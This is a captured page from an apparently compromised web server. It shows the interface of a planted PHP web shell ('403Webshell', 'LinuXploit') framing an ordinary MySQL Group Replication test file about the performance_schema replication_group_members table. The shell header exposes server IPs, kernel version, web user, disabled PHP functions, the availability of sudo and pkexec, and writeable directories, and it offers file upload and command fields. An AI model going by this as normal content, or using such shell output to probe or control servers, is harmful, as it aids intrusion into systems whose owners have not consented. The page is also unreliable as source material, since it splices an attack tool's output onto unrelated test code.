403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.189.48
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/group_replication/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/group_replication/t/gr_perfschema_group_members.test
################################################################################
# WL#6841 - GCS Replication: P_S table to show GCS kernel stats
#
# This test checks the basic functionality of the Group Replication
# P_S for replication_group_members table.
# DDL and DML testing for this table is addressed in other tests.
#
# Test:
#  0. The test requires one server: M1.
#  1. Checking the performance schema output for the replication_group_members
#     table before GR start.
#  2. Bootstrap start M1. Validate replication_group_members table data.
#  3. Stop GR on M1. Validate replication_group_members table data.
#  4. Restart tests that the plugin is still loaded on the server restart.
################################################################################

--let $group_replication_group_name= 8a84f357-aaa4-10df-85ab-c70aa9429562
--source ../inc/have_group_replication_plugin.inc

--let $group_replication_channel_name= group_replication_applier

# This is a valid name being given to the group name
--eval SET GLOBAL group_replication_group_name= "$group_replication_group_name"

# Checking the performance Schema output for the replication_group_members table.
--let $channel_name= query_get_value(SELECT Channel_Name from performance_schema.replication_group_members, Channel_Name, 1)
--let $assert_text= The value of channel name should be $group_replication_channel_name
--let $assert_cond= "$channel_name" = "$group_replication_channel_name"
--source include/assert.inc

--let $member_id= query_get_value(SELECT Member_Id from performance_schema.replication_group_members, Member_Id, 1)
--let $assert_text= The value of member_id should be empty before starting group replication
--let $assert_cond= "$member_id" = ""
--source include/assert.inc

--let $member_host= query_get_value(SELECT Member_Host from performance_schema.replication_group_members, Member_Host, 1)
--let $assert_text= The value of member_host should be empty before starting group replication
--let $assert_cond= "$member_host" = ""
--source include/assert.inc

--let $member_port= query_get_value(SELECT Member_Port from performance_schema.replication_group_members, Member_Port, 1)
--let $assert_text= The value of member_port should be NULL before starting group replication
--let $assert_cond= "$member_port" = "NULL"
--source include/assert.inc

--let $member_state= query_get_value(SELECT Member_State from performance_schema.replication_group_members, Member_State, 1)
--let $assert_text= The value of member_state should be offline before starting group replication
--let $assert_cond= "$member_state" = "OFFLINE"
--source include/assert.inc

# Start Group Replication
--source ../inc/start_and_bootstrap_group_replication.inc

--let $channel_name= query_get_value(SELECT Channel_Name from performance_schema.replication_group_members, Channel_Name, 1)
--let $assert_text= The value of channel name should be $group_replication_channel_name
--let $assert_cond= "$channel_name" = "$group_replication_channel_name"
--source include/assert.inc

--let $server_uuid= query_get_value(SELECT @@SERVER_UUID, @@SERVER_UUID, 1)
--let $member_id= query_get_value(SELECT Member_Id from performance_schema.replication_group_members, Member_Id, 1)
--let $assert_text= The value of member_id should be equal to server uuid after starting group replication
--let $assert_cond= "$member_id" = "$server_uuid"
--source include/assert.inc

--let $member_host= query_get_value(SELECT Member_Host from performance_schema.replication_group_members, Member_Host, 1)
--let $assert_text= The value of member_host should not be empty after starting group replication
--let $assert_cond= "$member_host" != ""
--source include/assert.inc

--let $member_port= query_get_value(SELECT Member_Port from performance_schema.replication_group_members, Member_Port, 1)
--let $assert_text= The value of member_port should not be NULL after starting group replication
--let $assert_cond= "$member_port" = "$MASTER_MYPORT"
--source include/assert.inc

--let $member_state= query_get_value(SELECT Member_State from performance_schema.replication_group_members, Member_State, 1)
--let $assert_text= The value of member_state should be online after starting group replication
--let $assert_cond= "$member_state" = "ONLINE"
--source include/assert.inc

# Stop Group Replication
--source include/stop_group_replication.inc

--let $channel_name= query_get_value(SELECT Channel_Name from performance_schema.replication_group_members, Channel_Name, 1)
--let $assert_text= The value of channel name should be $group_replication_channel_name
--let $assert_cond= "$channel_name" = "$group_replication_channel_name"
--source include/assert.inc

--let $member_state= query_get_value(SELECT Member_State from performance_schema.replication_group_members, Member_State, 1)
--let $assert_text= The value of member_state should be offline after stoping group replication
--let $assert_cond= "$member_state" = "OFFLINE"
--source include/assert.inc

# This restart tests that the plugin is still loaded on the server restart
--source include/restart_mysqld.inc

--let $member_state= query_get_value(SELECT Member_State from performance_schema.replication_group_members, Member_State, 1)
--let $assert_text= The value of member_state should be offline after restarting server
--let $assert_cond= "$member_state" = "OFFLINE"
--source include/assert.inc

--source ../inc/gr_clear_configuration.inc

Youez - 2016 - github.com/yon3zu
LinuXploit